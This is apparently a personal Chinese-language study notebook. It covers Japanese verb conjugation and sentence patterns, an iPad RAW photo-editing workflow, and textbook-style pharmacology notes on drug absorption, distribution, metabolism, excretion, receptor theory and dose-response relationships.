  • カ变动词：来る -> 来れば（くる -> く＋れば）
  • サ变动词：「する」 -> 「すれば」
    • 勉強する -> べんきょうすれば
    • 運動する -> うんどうすれば
    • …
主要用法
  • 表示假定条件、恒常条件、后项的提示话题，以及「～もあれば～もある」「～ば～ほど」「～も～ば～も～」等语法的接续

动词音变

  • 词尾「う」「つ」「る」 -> 促音变 -> ＋て
    • 買う -> かって
    • 待つ -> まって
    • 売る -> うって
    • …
  • 词尾「く」「ぐ」 -> イ音变 -> ＋て／で
    • 書く -> かいて
    • 泳ぐ -> およいで
    • …
  • 词尾「ぬ」「む」「ぶ」 -> 拨音变 -> ＋で
    • 死ぬ -> しんて
    • 住む -> すんで
    • 呼ぶ -> よんで
    • …
  • 词尾「す」的词，将「す」改为「し」＋て
    • 話す -> はなして
    • …
  • 注意
    • 五段动词「行く」发生促音变「行く」 -> 「行（い）って」
    • 动词有两种连用形
      • 用于后续敬体助词「ます」或用于句中表示中顿以及后续其他语法的「ます」形连用形，属于一般连用形，通称连用形
      • 用于后续过去完成的助动词「た」及接续助词「て」等连用形，属于特殊连用形，又称音变形
    • 五段动词音变形共三种：促音变、イ音变、 拨音变
    • 一段动词、カ变动词、サ变动词只有一般连用形，「ます」连用形和「て」连用形均为同一形式

句型整理

  • 〜のところ
  • 〜でしたね
  • ＜簡体形＞の
  • ＜簡体形＞のを　/　＜簡体形＞のこと
  • ＜簡体形＞でしょう
  • ＜簡体形＞かもしれません
  • もしかしたら
  • それで
  • つい
  • ＜簡体形＞時
  • Vながら
  • ＜簡体形＞でしょう？
  • Vています
  • Nで
  • Nと　会います
  • そう言えば
  • Vて　くれます
  • Vて　あげます
  • Vて　もらいます
  • それに
  • 命令形
  • V　なさい
  • V　な
  • Vて　/　Vない　で
  • N　という　N
  • 〜ないといけません
  • 〜なければなりません
  • 〜方をする
  • 意志形
  • ＜意志形＞と　思います
  • ＜意志形＞と　思っています
  • ＜文A＞ので、＜文B＞
  • いろいろ
  • それじゃ
  • まあ
  • 自分で話しの時の「な」
  • 楽しみです
  • 〜で　いっぱい
  • ＜基本形/ない形＞と、＜文＞
  • ＜基本形/ない形＞ことがあります
  • 早い → 早く　/　静か → 　静かに　＋　V
  • ＜簡体形＞でしょうか
  • きちんと
  • 〜でできた〜
  • ほど　ぐらい
  • ただし
  • ＜基本形/ない形＞つもりです
  • ＜基本形/ない形＞ことにします
  • ＜基本形/ない形＞ことになりました
  • 〜によると、＜簡体形＞そうです
  • ずっと
  • 〜て　欲しい
  • 〜って
  • 自動詞　/　他動詞
  • 自動て　います
  • ～て　しまいます
  • ～そうです
  • ～そうではありません
  • ～そうにありません＝～そうもありません＝～そうにもありません
  • ～なさそうです　～よさそうです
  • ～かしら
  • それにしても
  • （お）久しぶり（です）
  • 相変わらず（ですね）
  • 他動詞て　あります
  • Vて　おきます
  • Vて　みます
  • ＜基本形＞ために、＜文＞
  • V　の　ために、＜文＞
  • とっておきのN
  • しっかり
  • ハードスケジュール
  • あちこち
  • もったいない
  • ＜文A＞たら、＜文B＞
  • ＜文A＞ても、＜文B＞
  • Nだけ
  • Nしか　＋　否定形
  • Nでも
  • 何かあった
  • あと～
  • どのNでも　/　だれでも　/　いつでも
  • ～のとおりに
  • なかなか
  • だんだん
  • ＜文A＞「て/で」、＜文B＞
  • Nに
  • ＜基本形＞　の　に
  • N　ばかり　V
  • Vて　ばかり　います
  • ＜簡体形＞の　が　「見えます/聞こえます」
  • ほんと
  • とにかく
  • 量り売り
  • ぺらぺら
  • 仮定形
  • ＜文A＞ば、＜文B＞
  • ＜簡体形＞なら、＜文＞
  • Nでも
  • Nとか、Nとか　/　＜文A＞とか、＜文B＞とか
  • ～ちゃった --书面化--> ～てしまった
  • ちょっと
  • さすが
  • 可能形
  • ＜基本形/ない形＞ように、＜文＞
  • ＜基本形/ない形＞ようになります
  • ＜基本形/ない形＞ようにします
  • 入り組んでいます
  • なんだか
  • 見えます　/　見られます
  • ら抜き言葉

日语易错词

  1. また，まだ

摄影

所有摄影学习相关内容，收录于此。

包括不限于构图、后期、相机选购和工作流等。

iPad 修图工作流

前提

  • 使用 SONY 相机，RAW 图片格式

软件

  • Darkroom
  • Snapseed

原理

  • 因 Snapseed 本身不能识别 SONY 相机 RAW 文件的 ARW 格式
  • 所以需要一个软件 Darkroom 中转

流程

  • 使用 USB-C 转接头转接存储卡到 iPad 上读取 ARW 文件
  • 使用 Darkroom 进行（批量）导出存储到 iPad 系统图库
  • 使用 Snapseed 打开 Darkroom 存储的 RAW 文件
  • 进行显影和后期

美妆

所有化妆相关内容，收录于此。

包括不限于化妆工具、品牌介绍、美妆名和化妆方法等。

医学 | Medicine

所有医学内容收录于此。

笔者非医学专业学生，请谨慎看待。

所用书目多为　人民卫生出版社　的临床医学教材。

医学常识是一项浩大漫长的工程。

所有内容逐步添加中。

药理学 | Pharmacology

药理学研究药物和给药。

最重要的是药代学和药效学。

第一节：绪言

药理学的任务和内容

药理学的概念

概念

  • 研究药物和机体相互作用的规律和原理的基础学科。
  • 药物 <-> 机体

药物

  • 用于预防、治疗和诊断疾病的物质；

  • 可来源于植物、动物或矿物；

  • 或人工合成其有效成分；

机体

  • 有机整体；

  • 离体组织器官；

  • 培养的细胞；

  • 病原微生物。

药理学的研究内容

药物效应动力学

  • 简称药效学，主要研究药物对机体的作用及其规律，阐明药物防治疾病的机制。

药物代谢动力学

  • 简称药动学，主要研究机体对药物处置的过程。包括药物在机体内的吸收、分布、生物转化(或称代谢)、排泄及血药浓度随时间而变化的规律。
        治疗作用、不良反应、受体学说等
         \     药物效应动力学     /
药物 <-----------------------------> 机体
         /     药物代谢动力学     \
      吸收、分布、代谢、排泄、血药浓度的变化

药理学研究的内容

  • 药效学

    • 药理作用
    • 作用机制
    • 临床应用
    • 不良反应
    • 药物之间相互影响

  • 药动学

    • 体内过程
    • 时量关系
    • 消除动力学及相关参数
    • 稳态血药浓度
    • 药物之间相互影响

新药药理学

概念

  • 新药指未曾在中国境内。上市销售的药品，已生产的药品若改变剂型、改变给药途径、改变制造工艺或增加新的适应症，亦按新药管理。
    • 《药品注册管理办法》的规定

新药

  • 临床前药理研究（以非人体为研究对象）

  • 临床药理研究（以人体为研究对象）

    • 上市前
      • I 期
      • II 期
      • III 期
    • 上市后
      • IV 期

临床前药理研究

  1. 以非人体为研究对象

  2. 主要药效学

  3. 一般药理学：对三大系统的影响

    • 呼吸系统
    • 循环系统
    • 中枢神经系统

  4. 毒理学研究

    • 急性毒性
    • 长期毒性
    • 特殊毒理：致癌、致畸、致突变

  5. 药动学（药代研究）

临床药理研究

  1. 以人体为研究对象

  2. I 期临床试验：20~30 例健康志愿者 进行初步的药理学及人体安全性试验，观察人体对新药的耐受程度和药代动力学。

    • 目的：为制定临床给药方案提供依据。

  3. II 期临床试验：随机双盲对照试验，病例不少于 100 例。

    • 目的：观察新药的有效性和安全性，推荐临床给药剂量。

  4. III 期临床试验：上市前的多中心临床试验，病例不少于 300 例。

    • 目的：对新药的有效性和安全性进行社会性考察。

  5. IV 期临床试验（售后调研）：上市后监测，长期广泛考察药物的有效性和安全性，发现不良反应。

顺口溜

  • 一期初步看药理，二三十个健康人。

  • 二期作用初评价，病例至少百例。

  • 三期批准试生产，病人三百院三家。

  • 四期上市再评价，特殊人群与联合。

示意图

|___________|___________|___________|___________|................撤市
     I 期        II 期       III 期      IV 期
|--------上市前药物临床评价阶段--------|
                                    |-----------| <-狭义的上市后药物临床再评价
                                    |----广义的上市后药物临床再评价----|

注意

  • 狭义的上市后临床再评价：即临床试验 IV 期

  • 广义的上市后临床再评价：贯穿在药品的整个生命过程中，是大规模的人群使用后随时都在进行的评价。

  • 只有到四期临床试验，才可以评价特殊人群用药

第二章：药动学

一、药物的体内过程

一）概述

  • 药物从进入机体至离开机体，可分为四个过程，简称 ADME 系统，与膜的转运有关。
    • 吸收（a bsorption）
    • 分布（d istribution）
    • 代谢（m etabolism）
    • 排泄（e xcretion）
  • 转运：药物在体内通过各种生物膜的过程 -> 吸收，分布，排泄
  • 转化：药物分子结构发生变化的过程 -> 代谢
  • 消除：血药浓度下降 -> 代谢，排泄

二）药物的跨膜转运

转运方式

  • 被动转运
    • 简单扩散（脂溶性扩散）：药物在体内的主要转运方式
    • 膜孔滤过
    • 易化扩散
  • 主动转运
  • 膜动转运：出胞和入胞

被动转运

简单扩散
概念
  • 指药物由浓度高的一侧向浓度低的一侧扩散，以浓度梯度为动力
特点
  • 不消耗能量
  • 不需要载体
  • 转运时无饱和现象
  • 不同药物同时转运时无竞争性抑制现象
  • 当膜两侧浓度达到平衡时转运即停止
影响简单扩散的药物理化性质（影响跨膜转运的因素）
  • 分子量：分子量小的药物易扩散
  • 溶解性：脂溶性大，极性小的物质易扩散
  • 解离性：非离子型药物可以自由穿透
  • 离子障是指离子型药物被限制在膜的一侧的现象
  • 药物的解离程度受体液 pH 值的影响
    • 离子型 <===> 非离子型
体液 pH 值对弱酸或弱碱药物的解离的影响
  • pKa（解离常数）：是指解离和不解离的药物相等时，即药物解离一半时，溶液的 pH 值
  • 每一种药物都有自己的 pKa
  • 若为弱酸性药物，则：10pH-pKa = [A-] / [HA] = 解离型 / 非解离型
  • 若为弱碱性药物，则：10pKa-pH = [A-] / [HA] = 解离型 / 非解离型
  • 从公式可见，体液 pH 算数级的变化，会导致解离与不解离药物浓度差的指数级的变化，所以，pH 值微小的变动将显著影响药物的解离和转运
体液 pH 值对药物解离度的影响规律
  • 酸性药物
    • 在酸性环境中解离少，容易跨膜转运。
    • 达到扩散平衡时，主要分布在碱侧。
  • 碱性药物
    • 在碱性环境中解离少，容易跨膜转运。
    • 达到扩散平衡时，主要分布在酸侧。
  • 同性相斥，异性相吸
  • 酸酸碱碱促吸收，酸碱碱酸促排泄
主动转运
  • 需要载体，有特性和选择性
  • 消耗能量
  • 有饱和现象
  • 不同药物经同一载体转运时，有竞争性抑制现象
    • 如：青霉素与丙磺舒
  • 与膜两侧的浓度无关
    • 主动转运可使药物集中于某一器官或组织
膜动转运
  • 胞饮
  • 胞吐
易于跨膜转运的要求（易于穿过血脑屏障/胎盘屏障/乳汁）
  • 分子小
  • 脂溶性高（极性小）
  • 非离子型药物
  • 血浆蛋白结合率低

三）药物的吸收和影响因素

概述

概念
  • 药物从用药部位进入血液循环的过程
方式
  • 多数药物的吸收属于被动转运过程
意义
  • 吸收快：显效快
  • 吸收多：作用强
注意
  • iV—不存在吸收过程

影响吸收的因素

  • 理化因素如：脂溶性、分子量
  • 给药途径（吸收途径）：吸入>舌下>直肠>肌注>皮下>口服>皮肤
  • 吸收环境：pH 值（酸酸碱碱促吸收）
  • 剂型：溶剂>散剂>片剂

消化道吸收

吸收方式
  • 被动转运（脂溶扩散）
口服给药
  • 主要吸收部位：小肠（面积大、血流量大、肠腔内 pH 4.8~8.2）
  • 吸收途径：肠粘膜 -> 毛细血管 -> 肝门静脉 -> 肝静脉 -> 体循环
  • 首过效应（首关效应）：口服药物在胃肠道吸收后首先进入肝门静脉系统，某些药物在通过肠黏膜及肝脏时，部分可被代谢灭活而使进入体循环的药量减少，药效降低
    • 如：硝酸甘油
舌下给药
  • 吸收途径：经口腔黏膜吸收
  • 特点：速度快，无首过效应
直肠给药
  • 吸收途径：经痔（上、中、下）静脉吸收入血
  • 优点
    • 血流丰富，吸收快；
    • 首过消除<口服（痔上静脉经肝脏入血，有首过消除）
  • 缺点
    • 吸收不规则、不完全；
    • 药物可对直肠黏膜有刺激。
影响吸收的因素
  • 胃内的 pH 值（影响药物的解离，酸性药物在胃内易吸收）
  • 肠内容物多少（影响吸收面积，餐前空腹吸收好）
  • 胃排空、肠蠕动速度（影响吸收的时间）
  • 合用多潘立酮，莫沙必利等药物，吸收少；
  • 合用颠茄、6542、甲氧氯普安等，吸收多

注射给药吸收

  • 特点：吸收迅速、完全
  • 吸收方式：简单扩散，滤过
  • 影响因素
    • 注射部位血流量越丰富吸收越快且完全；
    • 疾病状态影响注射部位血流，影响药物吸收（例子：休克）；
    • 药物剂型：水溶液吸收迅速；
    • 油剂、混悬剂等可在局部滞留，吸收慢。

呼吸道吸收

  • 概念：经肺泡上皮细胞或呼吸道黏膜吸收
  • 特点：速度快（似静脉给药），无首过效应
  • 缺点：剂量难控制，药物可能对肺泡上皮有刺激性
  • 适用的物质：小分子脂溶性、挥发性药物或气体
    • 如：异丙肾上腺素气雾剂、有机磷酸酯类等

皮肤和黏膜吸收

  • 吸收速度：破损皮肤>完整皮肤，黏膜>皮肤
  • 作用：局部作用与吸收作用（透皮吸收）
  • 如：硝苯地平贴皮剂、硝酸甘油缓释贴皮剂等
  • 鼻腔给药：吸收面积大，血管丰富，吸收迅速，无首过效应，分子量 <1000 吸收迅速。

四）药物的分布及影响因素

分布

概念
  • 药物吸收后从血液向组织器官转运的过程
  • 是药物自血浆消除的方式之一
特点
  • 药物分布不均匀，不同步
方式
  • 大多数以被动转运方式分布，如果以主动转运方式转运，则药物可集中于某一组织器官。

影响分布的因素

  1. 与血浆蛋白结合
  2. 体内特殊屏障
  3. 组织亲和力
  4. 局部器官血流量
  5. 体液的 pH 值和药物的理化性质

与血浆蛋白结合

       +Pr
游离型 <===> 结合型
       -Pr

  • 游离型

    • 发挥药理作用
    • 跨膜转运
    • 代谢排泄

  • 结合型

    • 没有活性
    • 暂时的贮库

  • 血浆蛋白有

    • 清蛋白（白蛋白）
    • β-球蛋白
    • 酸性白蛋白等；

  • 一般规律

    • 酸性药物多与白蛋白结合
    • 碱性药物多与α-糖蛋白结合；

  • 特点

    • 可逆性
    • 饱和性
    • 竞争性（竞争排挤，浓度增加）

  • 例子

    • 华法林
    • 非甾体类抗炎药
    • 磺胺类药物
    • 氯丙嗪主要与白蛋白结合

体内特殊屏障

血脑屏障
概念
  • 一种选择性阻止各种物质由血液进入脑的屏障，有利于维持中枢内环境相对稳定
特点
  • 致密，通透性差
  • 分子小，脂溶性高（极性小）的物质易于通过
  • 病理状态下通透性可增加
    • 例子：脑膜炎
胎盘屏障
  • 通透性高
  • 妊娠用药禁忌
血眼屏障
  • 意义：局部给药

组织亲和力

例子
  • 碘：甲状腺
  • 四环素与钙：络合沉积于骨骼及牙齿中
  • 硫喷妥钠：脂肪组织
注意
  • 药物浓积器官不一定是作用的靶器官

局部器官血流量

  • 肝、肾、脑、心，这些器官血流丰富、血流量大，药物吸收后往往在这些器官迅速达到较高浓度
  • 再分布：药物从血流丰富的器官到其他组织器官的过程
    • 如：硫喷妥钠

体液的 pH 值和药物的理化性质

  • 弱酸性药物：主要分布在细胞外液（pH 约 7.4）
  • 弱碱性药物：在细胞内（pH 约 7.0）浓度较高
    • 例子：口服碳酸氢钠抢救巴比妥类药物中毒
  • 同性相斥、异性相吸

五）药物的代谢

基本概念

  • 代谢：是指药物在体内发生的结构变化或称生物转化
  • 代谢部位：主要是肝脏

药物代谢过程

  • I 相反应：氧化、还原、水解
  • II 相反应：结合（与葡萄糖醛酸、乙酰基、甘氨酸、硫酸等结合）

代谢的转归

  • 失活：药理活性下降或消失，极性增加，易于排出
  • 活化
    • 前体激活（无活性 ->有活性）
    • 代谢激活（母体和转化物均有活性）
  • 仍保持活性：强度改变

药物代谢酶

专一性酶
  • AChE
  • COMT
  • MAO
非专一性酶
  • 肝药酶：肝脏微粒体混合功能酶系统，主要为细胞色素 P450(CYP450)

肝药酶的特性

  • 选择性低：针对各种药物均有作用
  • 变异性较大：个体差异大、先天年龄、营养状态、机体功能状态、疾病等均可影响其含量及活性；
  • 易受外界因素影响：被“诱导”或“抑制”
    • 肝药酶诱导剂：能使肝药酶数量增加，或活性提高的药物
      • 例子： 苯巴比妥、苯妥英钠、利福平、地塞米松、卡马西平等
      • 举例：孕妇在产前两周服用苯巴比妥 60mg/天，可诱导新生儿肝微粒体酶，促进血中游离胆红素与葡萄糖醛酸结合后从胆汁排出，可用于预防新生儿的核黄痘
    • 肝药酶抑制剂：能使肝药酶数量减少，或活性降低的药物
      • 例子： 氯霉素、红霉素、异烟肼、保泰松、西咪替丁等
      • 举例：氯霉素与苯妥英钠合用，可使苯妥英钠在肝内的生物转化减慢，血药浓度升高，甚至可引起毒性反应
  • 总结
    • 肝药酶诱导剂（促使其它药物代谢加快）
      • 酶诱导剂： 二苯卡马利
    • 肝药酶抑制剂（促使其它药物代谢变慢 -> 蓄积、中毒）
      • 酶抑制剂： 红绿环抱夕阳美，异乡独坐葡萄醉
      • 红：红霉素（大环内酯类）
      • 绿：氯霉素
      • 环抱：环孢素（一种免疫抑制剂）
      • 夕：西米替丁
      • 异：异烟肼
      • 坐：唑类抗真菌药
      • 葡萄：葡萄柚汁

六）药物的排泄

概念

  • 排泄是指药物以原形或代谢产物经不同排泄器官排出体外的过程，是药物作用彻底清除的过程

排泄器官

  • 肾脏（主要）
  • 肺（挥发性药物及气体）
  • 胆汁
  • 腺体（乳腺，汗腺，唾液腺汁）

肾排泄

过程及影响因素
  • 肾小球滤过：受肾功能的影响，肾功能下降使药物排泄减慢，易引起蓄积中毒
  • 肾小管分泌（主动转运）：药物相互竞争分泌通道
    • 例子：丙磺舒与青霉素
  • 肾小管重吸收（被动转运）
    • 受尿液 pH 与药物解离度的的影响
    • 酸酸碱碱促吸收，酸碱碱酸促排泄
一些由肾小管主动分泌排泄的弱酸性药物和弱碱性药物
弱酸性药物弱碱性药物
阿司匹林吗啡
头孢噻啶哌替啶
呋塞米氨苯蝶啶
青霉素多巴胺
噻嗪类利尿药
丙磺舒

胆汁排泄

途径
  • 肝脏 -> 胆汁 -> 肠腔 -> 粪便
肝肠循环
  • 自胆汁排进十二指肠的结和型药物在肠中经水解后再吸收，形成肝肠循环，使药物作用时间延长
  • 药时曲线有双峰现象
  • 例子：洋地黄毒苷的肝肠循环比例 25%，T1/2：5~7 天，作用消失需 2～3 周

二、药动学的基本概念及相关参数

药物时量关系和时效关系

概念

  • 药物时量关系和时效关系以时间为横坐标，以药物浓度（或对数浓度）为纵坐标绘出的曲线图，为时-量曲线

峰浓度（Cmax）和达峰时间（Tmax）

  • 指血管外给药后药物在血浆中的最高浓度值（Cmax）及其出现的时间（Tmax）

血管外途径给药的 3 期

  • 潜伏期：用药后到开始出现疗效的一段时间
  • 持续期：药物维持有效浓度的时间，其长短与药物的吸收及消除速率有关
  • 残留期：药物降到有效浓度以下至完全清除的时间

药动学参数计算及其临床意义

表观分布容积（Vd）

概念
  • 理论上或计算所得的表示药物占有体液容积（单位：L 或 L/kg）
公式
       D (体内药物总量，mg)
Vd = ---------------------
      C0 (血浆药物浓度，mg/L)
注意
  • Vd 并非药物在体内真正占有的体液容积，故称“表观”分布容积
意义
  1. 可以进行血药浓度与药量的换算
  2. 可以推测药物在体内的分布情况
  3. 可以判断药物排泄速度
血药浓度与药量的换算
  • 例 1：药物 A 注射给药，已知药量为 DA 已知 VdA ，则血药浓度 CA = DA / VdA
  • 例 2：患者药物 B 中毒，测得血药浓度为 CB ，已知 VdB ，则药量 DB = CB x VdB
推测药物在体内的分布情况
  • 例：一体重 60kg 的人，体液总量约 42L
  • 若 Vd 为 5L：药物分布于血浆中
  • 若 Vd 为 10~20L：药物分布于细胞外液
  • 若 Vd 为 40L：全身体液
  • 若 Vd 为 100L：全身 + 于某一器官或组织中蓄积
判断药物排泄速度
  • Vd 越大，药物体内分布越广，排泄越慢
  • Vd 越小，药物体内分布越小，排泄越快

曲线下面积（AUC）

概念
  • 反应一次给药后一段时间药物在体内的总量
意义
  • 一次给药的 AUC 与剂量成正比
  • 剂量越大，体内药量越多，AUC 越大
  • 可反应药物吸收的程度

生物利用度（F）

概念
  • 血管外给药后其中能被吸收进入体循环的药物相对分量及速度
公式
     A (吸收入血的药量)
F = ----------------- x 100%   【公式中的药量可以用 AUC 来表示】
         D（给药量）

     A (吸收入血的药量)                           口服给药的 AUC
F = ------------------ x 100%     =>     F = ------------------ x 100%
        D (给药量)                               注射给药的 AUC
绝对生物利用度
       AUC (血管外给药)
F = -------------------- x 100%
       AUC (血管内给药)
  • 意义：评价药物吸收程度和速度
相对生物利用度
       AUC (供试药)
F' = --------------- x 100%
       AUC (对照药)
  • 意义：比较 2 种制剂的吸收情况，评价制剂质量

消除速率常数（K）

  • 单位时间内消除药物的分数
  • 某药物的 K 值为 0.17h-1，即每小时消除剩余量的 17%

半衰期（t1/2）

  • 血药浓度降低一半所需要的时间

清除率（CI）

  • 单位时间内机体能将多少容积血浆中的药物清除
  • CI = Cl肾脏 + Cl肝脏 + Cl其他
  • 单位：L/h 或 ml/min
  • 意义：反映肝肾功能

药物消除动力学

一级动力学消除零级动力学消除
别称线性消除，恒比消除非线性消除，恒量消除
定义消除速度（单位时间消除定义药量）与当时药量成正比
单次给药后，经 5t1/2，药物基本消除		消除速率与血药浓度无关，而是一个固定的值
t1/2 （半衰期）恒定，t1/2 = 0.693 / K没有固定的半衰期
重要性多见，是绝大多数药物在治疗量时的消除方式少见，只有极少数药物、或当机体消除功能低下、或用药量超过机体最大消除能力的时候

多次给药血药浓度的特点

  1. 连续给药 5 个 t1/2 后，血浆中药物浓度达到稳态浓度（Css），又称坪值
  2. 达到 Css 时，给药速度与消除速度相等
  3. 坪值（Css）高低与单位时间内（每日）药量成正比
    • 药量越大，坪值越高
    • 药量越小，坪值越低
  4. 血药浓度的波动幅度取决于给药间隔
    • 给药间隔越小，波动越小
    • 间隔越大，波动越大
    • 如：静脉给药的血药浓度波动最小
  5. 单位时间内（每日）给药量不变，则坪值不变
    • 给药间隔小，波动小
    • 间隔大，波动大
  6. 首剂加倍：是指第一次用药量是常规剂量的两倍（200%）
    • 特点：可使血药浓度迅速达到坪值；
    • 例如：洋地黄毒苷半衰期为 36 个小时，达坪需一周时间

房-室模型

第三章：药效学

一、药物的基本作用

一）药物的两重性

治疗作用

概念
  • 凡能达到防治效果的作用称为治疗作用
分类
  • 对因治疗
  • 对症治疗

不良反应

概念
  • 不符合用药目的，对患者不利的作用
分类
  • 副反应
  • 毒性反应
  • 后遗效应
  • 停药反应
  • 继发反应
  • 变态反应
  • 特异质反应
  • 依赖性

二）不良反应详解

副反应

概念
  • 药物本身固有的，在治疗剂量下出现的与治疗目的无关的反应
特点
  • 治疗作用与副作用是相对的
  • 取决于药物的 选择性 ：选择性低的药物，副作用多
例子
  • 阿托品，八大作用，用作其中一个用途时，其余七个为副作用

毒性反应

概念
  • 药物剂量过大或用药时间过长所引起的机体损伤性反应。
分类

  • 急性毒性：用药后立即出现。多损害循环、呼吸和神经系统。与生命直接相关。

  • 慢性毒性：长期用药后出现。多损害肝、肾、骨髓、内分泌。

  • 特殊毒性：包括“三致”，致癌、致畸、致突变。

后遗效应

概念
  • 停药后，血药浓度降到阈浓度以下时，残存的效应。
例子
  • 苯巴比妥用作镇静催眠药引起的“宿醉”。

变态反应

  • 少数免疫反应异常患者，受某些药刺激后发生的免疫反应。
特点
  • 过敏体质容易发生；
  • 首次用药很少发生；
  • 过敏性终生不退；
  • 结构相似药物有交叉过敏。
与毒性反应的区别
  • 与剂量和疗程无关：
  • 与药理作用无关；
  • 不可预知。

特异质反应

概念
  • 一类先天遗传异常所致的反应。
例子
  • 蚕豆病（红细胞缺乏 G-6-P 酶，易发生溶血）

继发作用

概念
  • 药物治疗作用所引引发的不良后果。
例子
  • 广谱抗生素引起的二重感染。

停药反应

概念
  • 长期用药突然停药后原有疾病重新出现或加剧，又称停药症状或反跳现象。
例子
  • 长期使用糖皮质激素、可乐定或普萘洛尔突然停药，都可引起反跳现象。

依赖性

  • 心理依赖性（觅药行为）
  • 生理依赖性（戒断综合征）

三）一览

二、受体理论

一）受体

  • 存在于细胞膜、细胞浆或细胞核上的大分子化合物（如蛋白质、核酸、脂质等），能与特异性配体（药物、递质、激素等）结合并产生效应。

二）配体

  • 能与受体结合的物质的总称。

三）受点（位点）

  • 能与配体结合的活性基团。

四）受体的特性

  1. 饱和性：受体被饱和时，即达到药物的最大效应；
  2. 特异性：特定的受体与特定的配体结合产生特定的效应；
  3. 可逆性：配体与受体可以结合，可以解离；
  4. 高亲和性（灵敏性）：极低的配体可引起显著的效应；
  5. 专一性：受体只与其结构相适应的配体结合；
  6. 选择性：同一药物的不同光学异构体与受体的亲和力相差很大；
  7. 区域分布性：决定药物作用的选择性；
  8. 亚细胞或分子特征：同类受体不同亚型的分子量、亚细胞或分子特征不同；
  9. 配体结合强度与药理活性的相关性：结合能力越强，药物活性越强；
  10. 内源性配体：如内源性递质、激素等

五）受体的类型

按受体所在位置不同

  • 细胞膜受体：如胆碱受体、肾上腺素受体、多巴胺受体
  • 胞浆受体：如肾上腺皮质激素、性激素
  • 胞核受体：如甲状腺激素

按受体蛋白结构和信号转导的机制不同

  • 含离子通道的受体：如 GABA 受体
  • G 蛋白偶联受体：如 M-受体、肾上腺素受体、多巴胺受体等
  • 酪氨酸激酶受体：如 胰岛素、生长因子、神经营养因子等
  • 调节基因表达的受体：如 甾体激素、甲状腺激素

六）受体的调节

概念

  • 受体数目和亲和力的变化称为受体的调节。

向下调节（受体脱敏）

  • 见于：长期使用激动剂，使受体数目减少
  • 表现：耐受性
  • 例如：异丙肾上腺素治疗哮喘，疗效下降

向上调节（受体增敏）

  • 见于：长期使用拮抗剂，使受体数目增加
  • 表现：反跳现象
  • 例如：普奈洛尔，突然停药，表现为敏感性增高

七）受体作用的信号转导

第一信使

  • 多肽类激素、神经递质、细胞因子及药物等细胞外信使物质。
  • 大多数第一信使不能进入细胞内，而与靶细胞膜表面的特异受体结合，激活受体而引起细胞某些生物学特性的改变。

第二信使

  • 最早发现的第二信使是环磷酸腺苷（cAMP），还有环磷酸鸟苷（cGMP）、二酰基甘油（DG）和三磷酸肌醇（IP3）及 PGs、Ca2+和一氧化氮（NO）等。
  • NO：既有第一信使特征，也有第二信使特征。

第三信使

  • 负责细胞核内外信息传递的物质，包括生长因子、转化因子等。

三、药效学概述

一）作用于受体的药物

药物与受体相互作用的动力学

          K1
D + R <=======> DR → E
          K2

D：药物，R：受体，DR：药物受体复合物，E：效应

亲和力

  • 药物与受体结合的能力，不同药物亲和力不同。

内在活性

概念
  • 药物激动受体产生最大效应的能力，或称效能。
表示
  • α=1 有内在活性
  • α=0 无内在活性
  • 0<α<1 有部分内在活性

药物分类

激动剂
  • 激动剂：有亲和力、有内在活性（α=1）
  • 部分激动剂：有亲和力内在活性不强（0<α<1）
  • 同一受体位点结合， 存在竞争
拮抗剂
  • 竞争性拮抗剂：有亲和力，无内在活性（α=0）
  • 非竞争性拮抗剂：不与激动剂争夺相同位点（作用于受体的其它位点），但与受体结合后影响激动剂与受体结合

两拮抗剂作用特点比较

  • 激动剂 + 竞争性拮抗剂：影响亲和力，不影响内在活性
  • 激动剂 + 非 竞争性拮抗剂：既影响亲和力。也影响内在活性

一览

竞争性拮抗剂非竞争性拮抗剂
作用机制与激动剂竞争同一结合位点，阻断激动剂与受体的结合与位点以外的基团结合，影响激动剂与受体的结合
药物相互作用可以通过增加激动剂的浓度，而达到单用激动剂时的水平不可以通过增加激动剂的浓度而达到原有水平
对激动剂的影响影响激动剂的亲和力，但不影响内在活性既降低激动剂的亲和力，又降低内在活性
对激动剂量效曲线的影响效价下降
效能不变
曲线平行右移		效价下降
效能下降
曲线不平行右移
竞争性拮抗药（A）
  • 使激动剂的亲和力下降，效价加大
  • 但不影响内在活性，不影响效能
  • 药时曲线平行右移
非竞争性拮抗药（B）
  • 既影响亲和力，使效价加大
  • 也影响内在活性，使效能减小
  • 药时曲线不平行右移
效价
  • 评价亲和力的指标
效能
  • 评价内在活性的指标

二）药物的作用机制

非特异性药物作用

概念

  • 主要与药物的理化性质有关，通过改变细胞周围的理化条件而发挥作用

例子

  • 改变渗透压：甘露醇脱水，硫酸镁导泻
  • 改变 pH：抗酸药治疗溃疡病）
  • 络合作用：二巯基丁二酸钠等络合剂解救重金属中毒

特异性药物作用

  • 结构特异性药物与机体生物大分子（如酶和受体）功能基团结合而发挥作用，大多数药物属于此类

三）药物的构效关系与量效关系

概览

  • 构效关系：药物结构与药理活性之间的关系
  • 量效关系：药物剂量与药理活性之间的关系

构效关系

概念
  • 药物化学结构与药理活性或毒性之间的关系称构效关系
意义
  • 药物化学结构的改变（包括基本骨架、侧链长短、立体异构、几何构型）的改变均可影响药物的理化性质，进而影响药物的体内过程、药效及其毒性。

量效关系

概念
  • 在一定范围内，药物的剂量（或浓度）增加或减少时，药物的效应随之增或减，药物的这种剂量（或浓度）与效应之间的关系称量效关系
量-效曲线（浓度-效应曲线）
  • 横坐标：药物剂量，以血药浓度表示
    • 药量用常数表示的量效曲线药量用对数表示的量效曲线
  • 纵坐标：药物效应，包括：量反应、质反应

量反应的量效曲线及相关参数

量反应质反应
实验对象个体群体
药物效应连续变化、量的分级；或最大反应的百分率阳性（或阴性）反应出现的频数或百分率
举例心率的增减、血压的升降、尿量的多少死亡与生存、惊厥与不惊厥等、昏迷与清醒
参数相近名词定义意义
最大效应(Emax)效能继续增加药物剂量其效应不再继续增强，是药理效应的极限。反应药物的内在活性，是药物产生效应的能力。
效价强度效价指能引起等效反映的相对剂量或浓度。注意：其值越小，效价越大。反应药物的亲和力
半效浓度(EC50)达到 50% 最大效应时的药物剂量或浓度。药物浓度在 EC50 左右变化时，药效变化最敏感
斜率/在效应大约 16% 至 84% 区域，量效曲线几乎呈一直线，其与横坐标夹角的正切值，称为量效曲线的斜率。斜率大的药物，药量微小的变化即可引起效应的明显改变。斜率大小在一定程度上反映临床用药的剂量安全范围。
参数相近名词定义
阈剂量最小有效量引起效应的最小药物剂量或浓度
常用量治疗量大于阀剂量，小于极量
极量最大有效量国家药典规定的某些药物的用药极限量
最小中毒量/出现中毒反应的最小剂量
最小致死量/出现病例死亡的最小剂量

质反应的量效曲线及相关参数

